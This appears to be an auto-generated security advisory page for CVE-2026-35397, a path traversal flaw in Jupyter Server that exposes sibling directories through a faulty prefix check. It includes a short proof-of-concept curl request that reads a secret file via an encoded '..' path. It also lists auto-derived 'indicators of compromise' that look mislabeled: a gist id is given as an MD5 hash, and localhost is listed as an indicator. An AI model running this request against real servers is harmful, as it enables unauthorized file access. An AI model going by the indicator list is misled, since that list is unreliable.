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CVSS 7.1 HIGH Vulnerability

CVE-2026-35397: Jupyter Server: Path Traversal via incorrect startswith() root directory check allows acc…

Summary Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name. PoC Minimal: `` . ├── test/ <root directory. │ └── test.txt └── testtest/ └── secret.txt <file…

7.1CVSS Score
HIGHSeverity
NOCISA KEV
VulnerabilityImpact Type

📋 Vulnerability Details

CVE IDCVE-2026-35397
Vendorpip
Affected Productjupyter-server
Vulnerability TypeVulnerability
CVSS Score7.1 (HIGH)
Actively Exploited❌ No known exploitation
Patch StatusSee Vendor Advisory →
Reported ByCYBERDUDEBIVASH SENTINEL APEX Intelligence (via github_advisories)

🔬 Technical Analysis

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Summary Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.

PoC Minimal: ``

. ├── test/ <- root directory. │ └── test.txt └── testtest/ └── secret.txt <- file to exfiltrate that we should not be able to access via API ` `bash HOST="http://localhost:8888" TOKEN="" SIBLING="testtest" TARGET="secret.txt" curl -s -X POST \ "$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \ -H "Authorization: token $TOKEN" ` Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006

Impact It is possible for an authenticated user to access content outside the server's root_dir in siblings directories sharing the same prefix as the root_dir`. The attacker can escalate access, reading, writing,

🎯 Known Indicators of Compromise

{"type":"md5","value":"66d4982a965dee8fcb8dd89db29e7006","confidence_score":0.85,"first_seen":"2026-05-05","source_count":1} {"type":"url","value":"http://localhost:8888","confidence_score":0.82,"first_seen":"2026-05-05","source_count":1} {"type":"url","value":"https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006","confidence_score":0.82,"first_seen":"2026-05-05","source_count":1}

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